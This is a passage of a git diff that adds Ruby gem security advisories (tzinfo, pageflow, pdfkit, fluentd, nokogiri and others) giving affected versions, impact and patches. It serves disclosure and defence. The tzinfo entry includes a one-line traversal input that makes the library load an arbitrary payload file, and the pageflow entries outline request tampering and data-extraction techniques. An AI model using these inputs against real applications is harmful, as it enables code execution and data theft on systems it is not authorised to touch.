+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QB2FJQXCNHO32VGVOC6DY6IPGVE4VDU6/
+    - https://lists.debian.org/debian-lts-announce/2022/12/msg00015.html
+---
diff --git a/advisories/_posts/2022-07-16-CVE-2020-35305.md b/advisories/_posts/2022-07-16-CVE-2020-35305.md
new file mode 100644
index 00000000..1028f96d
--- /dev/null
+++ b/advisories/_posts/2022-07-16-CVE-2020-35305.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2020-35305 (gollum): XSS via `filename` parameter to New Page dialog'
+comments: false
+categories:
+- gollum
+advisory:
+  gem: gollum
+  cve: 2020-35305
+  ghsa: fj2w-qmjp-3rjm
+  url: https://github.com/gollum/gollum/commit/137728cdabc0f60859fcd30404ad2b8fff6ef715
+  title: XSS via `filename` parameter to New Page dialog
+  date: 2022-07-16
+  description: |
+    Cross site scripting (XSS) in gollum 5.0 to 5.1.2 via the `filename` parameter
+    to the 'New Page' dialog.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 5.0"
+  patched_versions:
+  - ">= 5.1.2"
+  related:
+    url:
+    - https://github.com/gollum/gollum/releases/tag/v5.1.2
+---
diff --git a/advisories/_posts/2022-07-21-CVE-2022-31163.md b/advisories/_posts/2022-07-21-CVE-2022-31163.md
new file mode 100644
index 00000000..f4cee16b
--- /dev/null
+++ b/advisories/_posts/2022-07-21-CVE-2022-31163.md
@@ -0,0 +1,86 @@
+---
+layout: advisory
+title: 'CVE-2022-31163 (tzinfo): TZInfo relative path traversal vulnerability allows
+  loading of arbitrary files'
+comments: false
+categories:
+- tzinfo
+advisory:
+  gem: tzinfo
+  cve: 2022-31163
+  ghsa: 5cm2-9h8c-rvfx
+  url: https://github.com/tzinfo/tzinfo/security/advisories/GHSA-5cm2-9h8c-rvfx
+  title: TZInfo relative path traversal vulnerability allows loading of arbitrary
+    files
+  date: 2022-07-21
+  description: |
+    # Impact
+
+    ## Affected versions
+
+    - 0.3.60 and earlier.
+    - 1.0.0 to 1.2.9 when used with the Ruby data source (tzinfo-data).
+
+    ## Vulnerability
+
+    With the Ruby data source (the tzinfo-data gem for tzinfo version 1.0.0 and
+    later and built-in to earlier versions), time zones are defined in Ruby files.
+    There is one file per time zone. Time zone files are loaded with `require` on
+    demand. In the affected versions, `TZInfo::Timezone.get` fails to validate
+    time zone identifiers correctly, allowing a new line character within the
+    identifier. With Ruby version 1.9.3 and later, `TZInfo::Timezone.get` can be
+    made to load unintended files with `require`, executing them within the Ruby
+    process.
+
+    For example, with version 1.2.9, you can run the following to load a file with
+    path `/tmp/payload.rb`:
+
+    ```ruby
+    TZInfo::Timezone.get(\"foo\
+    /../../../../../../../../../../../../../../../../tmp/payload\")
+    ```
+
+    The exact number of parent directory traversals needed will vary depending on
+    the location of the tzinfo-data gem.
+
+    TZInfo versions 1.2.6 to 1.2.9 can be made to load files from outside of the
+    Ruby load path. Versions up to and including 1.2.5 can only be made to load
+    files from directories within the load path.
+
+    This could be exploited in, for example, a Ruby on Rails application using
+    tzinfo version 1.2.9, that allows file uploads and has a time zone selector
+    that accepts arbitrary time zone identifiers.
+    The CVSS score and severity have been set on this basis.
+
+    Versions 2.0.0 and later are not vulnerable.
+
+    # Patches
+
+    Versions 0.3.61 and 1.2.10 include fixes to correctly validate time zone
+    identifiers.
+
+    Note that version 0.3.61 can still load arbitrary files from the Ruby load
+    path if their name follows the rules for a valid time zone identifier and the
+    file has a prefix of `tzinfo/definition` within a directory in the load path.
+    For example if `/tmp/upload` was in the load path, then
+    `TZInfo::Timezone.get('foo')` could load a file with path
+    `/tmp/upload/tzinfo/definition/foo.rb`. Applications should ensure that
+    untrusted files are not placed in a directory on the load path.
+
+    # Workarounds
+
+    As a workaround, the time zone identifier can be validated before passing to
+    `TZInfo::Timezone.get` by ensuring it matches the regular expression
+    `\\A[A-Za-z0-9+\\-_]+(?:\\/[A-Za-z0-9+\\-_]+)*\\z`.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - ">= 2.0.0"
+  patched_versions:
+  - "~> 0.3.61"
+  - ">= 1.2.10"
+  related:
+    url:
+    - https://github.com/tzinfo/tzinfo/commit/ca29f349856d62cb2b2edb3257d9ddd2f97b3c27
+    - https://github.com/tzinfo/tzinfo/releases/tag/v0.3.61
+    - https://github.com/tzinfo/tzinfo/releases/tag/v1.2.10
+---
diff --git a/advisories/_posts/2022-08-11-CVE-2022-35956.md b/advisories/_posts/2022-08-11-CVE-2022-35956.md
new file mode 100644
index 00000000..c3265252
--- /dev/null
+++ b/advisories/_posts/2022-08-11-CVE-2022-35956.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2022-35956 (update_by_case): update_by_case before 0.1.3 can be vulnerable
+  to sql injection'
+comments: false
+categories:
+- update_by_case
+advisory:
+  gem: update_by_case
+  cve: 2022-35956
+  ghsa: 33wh-w4m7-c6r8
+  url: https://github.com/camilova/activerecord-update-by-case/security/advisories/GHSA-33wh-w4m7-c6r8
+  title: update_by_case before 0.1.3 can be vulnerable to sql injection
+  date: 2022-08-11
+  description: |
+    Before version 0.1.3 `update_by_case` gem used custom sql strings, and
+    it was not sanitized, making it vulnerable to sql injection. Upgrade to version
+    >= 0.1.3 that uses `Arel` instead to construct the resulting sql statement, with
+    sanitized sql.
+  cvss_v3: 5.8
+  patched_versions:
+  - ">= 0.1.3"
+---
diff --git a/advisories/_posts/2022-08-19-CVE-2020-36599.md b/advisories/_posts/2022-08-19-CVE-2020-36599.md
new file mode 100644
index 00000000..4e8c3f1a
--- /dev/null
+++ b/advisories/_posts/2022-08-19-CVE-2020-36599.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2020-36599 (omniauth): OmniAuth''s `lib/omniauth/failure_endpoint.rb`
+  does not escape `message_key` value'
+comments: false
+categories:
+- omniauth
+advisory:
+  gem: omniauth
+  cve: 2020-36599
+  ghsa: pm55-qfxr-h247
+  url: https://github.com/omniauth/omniauth/commit/43a396f181ef7d0ed2ec8291c939c95e3ed3ff00#diff-575abda9deb9b1a77bf534e898a923029b9a61e991d626db88dc6e8b34260aa2
+  title: OmniAuth's `lib/omniauth/failure_endpoint.rb` does not escape `message_key`
+    value
+  date: 2022-08-19
+  description: |
+    lib/omniauth/failure_endpoint.rb in OmniAuth before 1.9.2 (and before
+    2.0) does not escape the message_key value.
+  cvss_v3: 9.8
+  patched_versions:
+  - "~> 1.9.2"
+  - ">= 2.0.0"
+---
diff --git a/advisories/_posts/2022-09-10-CVE-2022-25765.md b/advisories/_posts/2022-09-10-CVE-2022-25765.md
new file mode 100644
index 00000000..256c7404
--- /dev/null
+++ b/advisories/_posts/2022-09-10-CVE-2022-25765.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2022-25765 (pdfkit): PDFKit vulnerable to Command Injection'
+comments: false
+categories:
+- pdfkit
+advisory:
+  gem: pdfkit
+  cve: 2022-25765
+  ghsa: rhwx-hjx2-x4qr
+  url: https://github.com/pdfkit/pdfkit/blob/46cdf53ec540da1a1a2e4da979e3e5fe2f92a257/lib/pdfkit/pdfkit.rb#L55-L58
+  title: PDFKit vulnerable to Command Injection
+  date: 2022-09-10
+  description: |
+    The package pdfkit from version 0.0.0 through version 0.8.6 is vulnerable
+    to Command Injection where the URL is not properly sanitized.
+  cvss_v3: 9.8
+  related:
+    url:
+    - https://github.com/pdfkit/pdfkit/blob/master/lib/pdfkit/source.rb#L44-L50
+    - https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
+  patched_versions:
+  - ">= 0.8.7.2"
+---
diff --git a/advisories/_posts/2022-09-15-GHSA-qcqv-38jg-2r43.md b/advisories/_posts/2022-09-15-GHSA-qcqv-38jg-2r43.md
new file mode 100644
index 00000000..39f0bf5d
--- /dev/null
+++ b/advisories/_posts/2022-09-15-GHSA-qcqv-38jg-2r43.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'GHSA-qcqv-38jg-2r43 (pageflow): Pageflow vulnerable to insecure direct object
+  reference in membership update endpoint'
+comments: false
+categories:
+- pageflow
+advisory:
+  gem: pageflow
+  ghsa: qcqv-38jg-2r43
+  url: https://github.com/codevise/pageflow/security/advisories/GHSA-qcqv-38jg-2r43
+  title: Pageflow vulnerable to insecure direct object reference in membership update
+    endpoint
+  date: 2022-09-15
+  description: |
+    ### Impact
+
+    Pageflow has a membership edit feature which allows users to edit the roles of user
+    memberships associated with an account that they have the `manager` role to (including
+    their own). While the `Entity` dropdown select field is greyed out in the UI, an attacker
+    can use tools which allow sending arbitrary HTTP request to craft a request to the
+    `/admin/users/{user_id}/memberships/{membership_id}` endpoint containing an additional
+    `membership[entity_id]` parameter. This parameter is honored when the membership is
+    updated, allowing an attacker to update the membership object associated with their own
+    account (with `manager` role) to be associated with a different attacker-chosen account
+    instead. Since `account_id`s are enumerable, an attacker can compromise all accounts
+    present on the platform.
+
+    ### Mitigation
+
+    Upgrade to version 15.7.1 or 14.5.2 of the `pageflow` gem.
+  patched_versions:
+  - "~> 14.5.2"
+  - ">= 15.7.1"
+  related:
+    url:
+    - https://github.com/codevise/pageflow/pull/1862
+---
diff --git a/advisories/_posts/2022-09-15-GHSA-wrrw-crp8-979q.md b/advisories/_posts/2022-09-15-GHSA-wrrw-crp8-979q.md
new file mode 100644
index 00000000..61326d1b
--- /dev/null
+++ b/advisories/_posts/2022-09-15-GHSA-wrrw-crp8-979q.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'GHSA-wrrw-crp8-979q (pageflow): Pageflow vulnerable to sensitive user data
+  extraction via Ransack query injection'
+comments: false
+categories:
+- pageflow
+advisory:
+  gem: pageflow
+  ghsa: wrrw-crp8-979q
+  url: https://github.com/codevise/pageflow/security/advisories/GHSA-wrrw-crp8-979q
+  title: Pageflow vulnerable to sensitive user data extraction via Ransack query injection
+  date: 2022-09-15
+  description: |
+    ### Impact
+
+    The attack allows extracting sensitive properties of database objects that are
+    associated with users or entries belonging to an account that the attacker has access
+    to.
+
+    Pageflow uses the `ActiveAdmin` Ruby library to provide some management features to
+    its users. `ActiveAdmin` relies on the `Ransack` library to implement search
+    functionality. In its default configuration, `Ransack` will allow for query conditions
+    based on properties of associated database objects [1]. The `*_starts_with`,
+    `*_ends_with` or `*_contains` search matchers [2] can then be abused to exfiltrate
+    sensitive string values of associated database objects via character-by-character
+    brute-force.
+
+    [1] https://activerecord-hackery.github.io/ransack/going-further/associations/
+    [2] https://activerecord-hackery.github.io/ransack/getting-started/search-matches/
+
+    ### Mitigation
+
+    Upgrade to version 15.7.1 or 14.5.2 of the `pageflow` gem.
+  patched_versions:
+  - "~> 14.5.2"
+  - ">= 15.7.1"
+  related:
+    url:
+    - https://github.com/codevise/pageflow/pull/1862
+---
diff --git a/advisories/_posts/2022-09-21-CVE-2022-39224.md b/advisories/_posts/2022-09-21-CVE-2022-39224.md
new file mode 100644
index 00000000..be19fc2e
--- /dev/null
+++ b/advisories/_posts/2022-09-21-CVE-2022-39224.md
@@ -0,0 +1,56 @@
+---
+layout: advisory
+title: 'CVE-2022-39224 (arr-pm): arr-pm vulnerable to arbitrary shell execution when
+  extracting or listing files contained in a malicious rpm'
+comments: false
+categories:
+- arr-pm
+advisory:
+  gem: arr-pm
+  cve: 2022-39224
+  ghsa: 88cv-mj24-8w3q
+  url: https://github.com/jordansissel/ruby-arr-pm/security/advisories/GHSA-88cv-mj24-8w3q
+  title: arr-pm vulnerable to arbitrary shell execution when extracting or listing
+    files contained in a malicious rpm
+  date: 2022-09-21
+  description: |
+    ### Impact
+
+    Arbitrary shell execution is possible when using RPM::File#files and
+    RPM::File#extract if the RPM contains a malicious "payload compressor" field.
+
+    This vulnerability impacts the `extract` and `files` methods of the
+    `RPM::File` class in the affected versions of this library.
+
+    ### Patches
+
+    Version 0.0.12 is available with a fix for these issues.
+
+    ### Workarounds
+
+    When using an affected version of this library (arr-pm), ensure any RPMs
+    being processed contain valid/known payload compressor values. Such values
+    include: gzip, bzip2, xz, zstd, and lzma.
+
+    You can check the payload compressor field in an rpm by using the rpm command
+    line tool. For example:
+
+    ```
+    % rpm -qp example-1.0-1.x86_64.rpm --qf "%{PAYLOADCOMPRESSOR}\n"
+    gzip
+    ```
+
+    ### Impact on known dependent projects
+
+    This library is used by [fpm](https://github.com/jordansissel/fpm). The
+    vulnerability may impact fpm only when using the flag `-s rpm` or
+    `--input-type rpm` to convert a malicious rpm to another format. It does
+    not impact creating rpms.
+  cvss_v3: 7.0
+  patched_versions:
+  - ">= 0.0.12"
+  related:
+    url:
+    - https://github.com/jordansissel/ruby-arr-pm/pull/14
+    - https://github.com/jordansissel/ruby-arr-pm/pull/15
+---
diff --git a/advisories/_posts/2022-09-21-GHSA-4qw4-jpp4-8gvp.md b/advisories/_posts/2022-09-21-GHSA-4qw4-jpp4-8gvp.md
new file mode 100644
index 00000000..2b09dc16
--- /dev/null
+++ b/advisories/_posts/2022-09-21-GHSA-4qw4-jpp4-8gvp.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'GHSA-4qw4-jpp4-8gvp (commonmarker): Unbounded resource exhaustion in cmark-gfm
+  autolink extension may lead to denial of service'
+comments: false
+categories:
+- commonmarker
+advisory:
+  gem: commonmarker
+  ghsa: 4qw4-jpp4-8gvp
+  url: https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-4qw4-jpp4-8gvp
+  title: Unbounded resource exhaustion in cmark-gfm autolink extension may lead to
+    denial of service
+  date: 2022-09-21
+  description: |
+    ### Impact
+
+    CommonMarker uses `cmark-gfm` for rendering [Github Flavored
+    Markdown](https://github.github.com/gfm/). A polynomial time complexity issue
+    in cmark-gfm's autolink extension may lead to unbounded resource exhaustion
+    and subsequent denial of service.
+
+    ### Patches
+
+    This vulnerability has been patched in the following CommonMarker release:
+
+    - v0.23.6
+
+    ### Workarounds
+
+    Disable use of the autolink extension.
+
+    ### References
+    https://en.wikipedia.org/wiki/Time_complexity
+  patched_versions:
+  - ">= 0.23.6"
+  related:
+    url:
+    - https://github.com/gjtorikian/commonmarker/pull/190
+    - https://github.com/gjtorikian/commonmarker/releases/tag/v0.23.6
+    ghsa:
+    - cgh3-p57x-9q7q
+---
diff --git a/advisories/_posts/2022-10-03-GHSA-mgvv-5mxp-xq67.md b/advisories/_posts/2022-10-03-GHSA-mgvv-5mxp-xq67.md
new file mode 100644
index 00000000..10e8388b
--- /dev/null
+++ b/advisories/_posts/2022-10-03-GHSA-mgvv-5mxp-xq67.md
@@ -0,0 +1,62 @@
+---
+layout: advisory
+title: 'GHSA-mgvv-5mxp-xq67 (sqlite3): SQLite3 addresses vulnerability in packaged
+  version of libsqlite'
+comments: false
+categories:
+- sqlite3
+advisory:
+  gem: sqlite3
+  ghsa: mgvv-5mxp-xq67
+  url: https://github.com/sparklemotion/sqlite3-ruby/security/advisories/GHSA-mgvv-5mxp-xq67
+  title: SQLite3 addresses vulnerability in packaged version of libsqlite
+  date: 2022-10-03
+  description: |
+    ### Summary
+
+    The rubygem sqlite3 v1.5.1 upgrades the packaged version of libsqlite from
+    v3.39.3 to [v3.39.4](https://sqlite.org/releaselog/3_39_4.html).
+
+    libsqlite v3.39.4 addresses a vulnerability described as follows in the
+    release notification:
+
+    > Version 3.39.4 is a minimal patch against the prior release that addresses
+    > issues found since the prior release. In particular, a potential
+    > vulnerability in the FTS3 extension has been fixed, so this should be
+    > considered a security update.
+    >
+    > In order to exploit the vulnerability, an attacker must have full SQL access
+    > and must be able to construct a corrupt database with over 2GB of FTS3
+    > content. The problem arises from a 32-bit signed integer overflow.
+
+    This vulnerability has not been assigned a CVE and does not have a severity
+    declared.
+
+    Please note that this advisory only applies to the sqlite3 gem v1.5.0, and
+    only if the packaged libsqlite is being used. If you've overridden defaults at
+    installation time to use system libraries instead of packaged libraries, you
+    should instead pay attention to your distro's libsqlite release announcements.
+
+
+    ### Mitigation
+
+    Upgrade to the rubygem sqlite3 v1.5.1 or later.
+
+    Users who are unable to upgrade the sqlite3 gem may also choose a more
+    complicated mitigation: compile and link sqlite3 against external libsqlite >=
+    3.39.4 which will also address these same issues.
+
+
+    ### References
+
+    - Upstream release notes: https://sqlite.org/releaselog/3_39_4.html
+    - Instructions for compiling against system libraries:
+      https://github.com/sparklemotion/sqlite3-ruby
+  unaffected_versions:
+  - "< 1.5.0"
+  patched_versions:
+  - ">= 1.5.1"
+  related:
+    url:
+    - https://github.com/sparklemotion/sqlite3-ruby/releases/tag/v1.5.1
+---
diff --git a/advisories/_posts/2022-10-04-CVE-2022-3171.md b/advisories/_posts/2022-10-04-CVE-2022-3171.md
new file mode 100644
index 00000000..8a298c9f
--- /dev/null
+++ b/advisories/_posts/2022-10-04-CVE-2022-3171.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'CVE-2022-3171 (google-protobuf): protobuf-java has a potential Denial of Service
+  issue'
+comments: false
+categories:
+- google-protobuf
+- jruby
+advisory:
+  gem: google-protobuf
+  platform: jruby
+  cve: 2022-3171
+  ghsa: h4h5-3hr4-j3g2
+  url: https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-h4h5-3hr4-j3g2
+  title: protobuf-java has a potential Denial of Service issue
+  date: 2022-10-04
+  description: |
+    ## Summary
+    A potential Denial of Service issue in `protobuf-java` core and lite was
+    discovered in the parsing procedure for binary and text format data.
+    Input streams containing multiple instances of non-repeated [embedded
+    messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded)
+    with repeated or unknown fields causes objects to be converted back-n-forth
+    between mutable and immutable forms, resulting in potentially long garbage
+    collection pauses.
+
+    Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771)
+
+    Affected versions: This issue affects both the Java full and lite Protobuf
+    runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the
+    Java Protobuf runtime.
+
+    ## Severity
+
+    [CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171)
+    Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication)
+
+    ## Remediation and Mitigation
+
+    Please update to the latest available versions of the following packages:
+
+    * protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3)
+    * protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3)
+    * protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3)
+    * protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3)
+    * google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6)
+  cvss_v3: 5.7
+  patched_versions:
+  - "~> 3.16.3"
+  - "~> 3.19.6"
+  - "~> 3.20.3"
+  - ">= 3.21.7"
+  related:
+    url:
+    - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771
+    - https://github.com/protocolbuffers/protobuf/releases/tag/v21.7
+    - https://github.com/protocolbuffers/protobuf/releases/tag/v3.16.3
+    - https://github.com/protocolbuffers/protobuf/releases/tag/v3.19.6
+    - https://github.com/protocolbuffers/protobuf/releases/tag/v3.20.3
+---
diff --git a/advisories/_posts/2022-10-07-CVE-2022-39281.md b/advisories/_posts/2022-10-07-CVE-2022-39281.md
new file mode 100644
index 00000000..646ca062
--- /dev/null
+++ b/advisories/_posts/2022-10-07-CVE-2022-39281.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'CVE-2022-39281 (fat_free_crm): Fat Free CRM vulnerable to Remote Denial of
+  Service via Tasks endpoint'
+comments: false
+categories:
+- fat_free_crm
+advisory:
+  gem: fat_free_crm
+  cve: 2022-39281
+  ghsa: p75c-5x3h-cxcg
+  url: https://github.com/fatfreecrm/fat_free_crm/security/advisories/GHSA-p75c-5x3h-cxcg
+  title: Fat Free CRM vulnerable to Remote Denial of Service via Tasks endpoint
+  date: 2022-10-07
+  description: |
+    ### Impact
+    An authenticated user can perform a remote Denial of Service attack against
+    Fat Free CRM.
+
+    This vulnerability has been assigned the CVE identifier: CVE-2022-39281
+
+    Affected versions: All
+    Not affected: None
+    Fixed versions: 0.20.1
+
+    All users running an affected release should either upgrade or apply the patch
+    immediately.
+
+    ### Releases
+    Fixed versions: 0.20.1 and above
+
+    ### Patches
+
+    If you are unable to upgrade immediately, you should apply the following
+    patch.
+
+    ```
+    diff --git a/app/models/polymorphic/task.rb b/app/models/polymorphic/task.rb
+    index d3d5c32c..7cdb24d6 100644
+    --- a/app/models/polymorphic/task.rb
+    +++ b/app/models/polymorphic/task.rb
+    @@ -189,6 +189,7 @@ class Task < ActiveRecord::Base
+       #----------------------------------------------------------------------------
+       def self.bucket_empty?(bucket, user, view = "pending")
+         return false if bucket.blank? || !ALLOWED_VIEWS.include?(view)
+    +    return false unless Setting.task_bucket.map(&:to_s).include?(bucket.to_s)
+
+         if view == "assigned"
+           assigned_by(user).send(bucket).pending.count
+    ```
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 0.20.1"
+  related:
+    url:
+    - https://github.com/fatfreecrm/fat_free_crm/commit/c85a2546348c2692d32f952c753f7f0b43d1ca71
+    - https://github.com/fatfreecrm/fat_free_crm/releases/tag/v0.20.1
+---
diff --git a/advisories/_posts/2022-10-18-GHSA-2qc6-mcvw-92cw.md b/advisories/_posts/2022-10-18-GHSA-2qc6-mcvw-92cw.md
new file mode 100644
index 00000000..c0fb56b2
--- /dev/null
+++ b/advisories/_posts/2022-10-18-GHSA-2qc6-mcvw-92cw.md
@@ -0,0 +1,95 @@
+---
+layout: advisory
+title: 'GHSA-2qc6-mcvw-92cw (nokogiri): Update bundled libxml2 to v2.10.3 to resolve
+  multiple CVEs'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: 2qc6-mcvw-92cw
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-2qc6-mcvw-92cw
+  title: Update bundled libxml2 to v2.10.3 to resolve multiple CVEs
+  date: 2022-10-18
+  description: |
+    ### Summary
+
+    Nokogiri v1.13.9 upgrades the packaged version of its dependency libxml2 to
+    [v2.10.3](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.10.3) from
+    v2.9.14.
+
+    libxml2 v2.10.3 addresses the following known vulnerabilities:
+
+    - [CVE-2022-2309](https://nvd.nist.gov/vuln/detail/CVE-2022-2309)
+    - [CVE-2022-40304](https://nvd.nist.gov/vuln/detail/CVE-2022-40304)
+    - [CVE-2022-40303](https://nvd.nist.gov/vuln/detail/CVE-2022-40303)
+
+    Please note that this advisory only applies to the CRuby implementation of
+    Nokogiri `< 1.13.9`, and only if the _packaged_ libraries are being used. If
+    you've overridden defaults at installation time to use _system_ libraries
+    instead of packaged libraries, you should instead pay attention to your
+    distro's `libxml2` release announcements.
+
+
+    ### Mitigation
+
+    Upgrade to Nokogiri `>= 1.13.9`.
+
+    Users who are unable to upgrade Nokogiri may also choose a more complicated
+    mitigation: compile and link Nokogiri against external libraries libxml2
+    `>= 2.10.3` which will also address these same issues.
+
+
+    ### Impact
+
+    #### libxml2 [CVE-2022-2309](https://nvd.nist.gov/vuln/detail/CVE-2022-2309)
+
+    - **CVSS3 score**: Under evaluation
+    - **Type**: Denial of service
+    - **Description**: NULL Pointer Dereference allows attackers to cause a denial
+    of service (or application crash). This only applies when lxml is used
+    together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not
+    affected. It allows triggering crashes through forged input data, given a
+    vulnerable code sequence in the application. The vulnerability is caused by
+    the iterwalk function (also used by the canonicalize function). Such code
+    shouldn't be in wide-spread use, given that parsing + iterwalk would usually
+    be replaced with the more efficient iterparse function. However, an XML
+    converter that serialises to C14N would also be vulnerable, for example, and
+    there are legitimate use cases for this code sequence. If untrusted input is
+    received (also remotely) and processed via iterwalk function, a crash can be
+    triggered.
+
+    Nokogiri maintainers investigated at #2620 and determined this CVE does not
+    affect Nokogiri users.
+
+
+    #### libxml2 [CVE-2022-40304](https://nvd.nist.gov/vuln/detail/CVE-2022-40304)
+
+    - **CVSS3 score**: Unspecified upstream
+    - **Type**: Data corruption, denial of service
+    - **Description**: When an entity reference cycle is detected, the entity
+    content is cleared by setting its first byte to zero. But the entity content
+    might be allocated from a dict. In this case, the dict entry becomes corrupted
+    leading to all kinds of logic errors, including memory errors like
+    double-frees.
+
+    See https://gitlab.gnome.org/GNOME/libxml2/-/commit/644a89e080bced793295f61f18aac8cfad6bece2
+
+
+    #### libxml2 [CVE-2022-40303](https://nvd.nist.gov/vuln/detail/CVE-2022-40303)
+
+    - **CVSS3 score**: Unspecified upstream
+    - **Type**: Integer overflow
+    - **Description**: Integer overflows with XML_PARSE_HUGE
+
+    See https://gitlab.gnome.org/GNOME/libxml2/-/commit/c846986356fc149915a74972bf198abc266bc2c0
+  patched_versions:
+  - ">= 1.13.9"
+  related:
+    url:
+    - https://gitlab.gnome.org/GNOME/libxml2/-/releases
+    cve:
+    - 2022-2309
+    - 2022-40304
+    - 2022-40303
+---
diff --git a/advisories/_posts/2022-11-02-CVE-2022-39379.md b/advisories/_posts/2022-11-02-CVE-2022-39379.md
new file mode 100644
index 00000000..4b705b6d
--- /dev/null
+++ b/advisories/_posts/2022-11-02-CVE-2022-39379.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2022-39379 (fluentd): fluentd vulnerable to remote code execution due
+  to insecure deserialization (in non-default configuration)'
+comments: false
+categories:
+- fluentd
+advisory:
+  gem: fluentd
+  cve: 2022-39379
+  ghsa: fppq-mj76-fpj2
+  url: https://github.com/fluent/fluentd/security/advisories/GHSA-fppq-mj76-fpj2
+  title: fluentd vulnerable to remote code execution due to insecure deserialization
+    (in non-default configuration)
+  date: 2022-11-02
+  description: |
+    ### Impact
+    A remote code execution (RCE) vulnerability in non-default configurations of
+    Fluentd allows unauthenticated attackers to execute arbitrary code via
+    specially crafted JSON payloads.
+
+    Fluentd setups are only affected if the environment variable
+    `FLUENT_OJ_OPTION_MODE` is explicitly set to `object`.
+
+    Please note: The option FLUENT_OJ_OPTION_MODE was introduced in Fluentd
+    version 1.13.2. Earlier versions of Fluentd are not affected by this
+    vulnerability.
+
+    ### Patches
+    v1.15.3
+
+    ### Workarounds
+    Do not use `FLUENT_OJ_OPTION_MODE=object`.
+
+    ### References
+    * GHSL-2022-067
+  cvss_v3: 3.1
+  unaffected_versions:
+  - "< 1.13.2"
+  patched_versions:
+  - ">= 1.15.3"
+  related:
+    url:
+    - https://securitylab.github.com/advisories/GHSL-2022-067_fluentd/
+    - https://github.com/fluent/fluentd/commit/48e5b85dab1b6d4c273090d538fc11b3f2fd8135
+---
diff --git a/advisories/_posts/2022-11-18-CVE-2021-33621.md b/advisories/_posts/2022-11-18-CVE-2021-33621.md
new file mode 100644
index 00000000..89586b2f
--- /dev/null
+++ b/advisories/_posts/2022-11-18-CVE-2021-33621.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2021-33621 (cgi): HTTP response splitting in CGI'
+comments: false
+categories:
+- cgi
+advisory:
+  gem: cgi
+  cve: 2021-33621
+  ghsa: vc47-6rqg-c7f5
+  url: https://www.ruby-lang.org/en/news/2022/11/22/http-response-splitting-in-cgi-cve-2021-33621/
+  title: HTTP response splitting in CGI
+  date: 2022-11-18
+  description: |
+    cgi.rb in Ruby through 2.6.x, through 3.0x, and through 3.1.x allows HTTP
+    header injection. If a CGI application using the CGI library inserts
+    untrusted input into the HTTP response header, an attacker can exploit it to
+    insert a newline character to split a header, and inject malicious content to
+    deceive clients.
+  cvss_v3: 8.8
+  patched_versions:
+  - "~> 0.1.0.2"
+  - "~> 0.2.2"
+  - ">= 0.3.5"
+---
diff --git a/advisories/_posts/2022-11-19-CVE-2022-4064.md b/advisories/_posts/2022-11-19-CVE-2022-4064.md
new file mode 100644
index 00000000..7a1da3fd
--- /dev/null
+++ b/advisories/_posts/2022-11-19-CVE-2022-4064.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2022-4064 (dalli): Unsanitized input leading to code injection in Dalli'
+comments: false
+categories:
+- dalli
+advisory:
+  gem: dalli
+  cve: 2022-4064
+  ghsa: 3xg8-cc8f-9wv2
+  url: https://github.com/petergoldstein/dalli/issues/932
+  title: Unsanitized input leading to code injection in Dalli
+  date: 2022-11-19
+  description: |
+    A vulnerability was found in Dalli. Affected is the function self.meta_set
+    of the file lib/dalli/protocol/meta/request_formatter.rb of the component Meta Protocol
+    Handler. The manipulation leads to injection. The exploit has been disclosed to
+    the public and may be used. The name of the patch is 48d594dae55934476fec61789e7a7c3700e0f50d.
+    It is recommended to apply a patch to fix this issue.
+  cvss_v3: 3.7
+  patched_versions:
+  - ">= 3.2.3"
+  related:
+    url:
+    - https://github.com/petergoldstein/dalli/pull/933
+    - https://github.com/petergoldstein/dalli/commit/48d594dae55934476fec61789e7a7c3700e0f50d
+---
diff --git a/advisories/_posts/2022-11-30-CVE-2022-45442.md b/advisories/_posts/2022-11-30-CVE-2022-45442.md
new file mode 100644
index 00000000..ae3053ab
--- /dev/null
+++ b/advisories/_posts/2022-11-30-CVE-2022-45442.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2022-45442 (sinatra): Sinatra vulnerable to Reflected File Download attack'
+comments: false
+categories:
+- sinatra
+advisory:
+  gem: sinatra
+  cve: 2022-45442
+  ghsa: 2x8x-jmrp-phxw
+  url: https://github.com/sinatra/sinatra/security/advisories/GHSA-2x8x-jmrp-phxw
+  title: Sinatra vulnerable to Reflected File Download attack
+  date: 2022-11-30
+  description: |
+    An issue was discovered in Sinatra 2.0 before 2.2.3 and 3.0 before 3.0.4.
+    An application is vulnerable to a reflected file download (RFD) attack that
+    sets the Content-Disposition header of a response when the filename is
+    derived from user-supplied input.
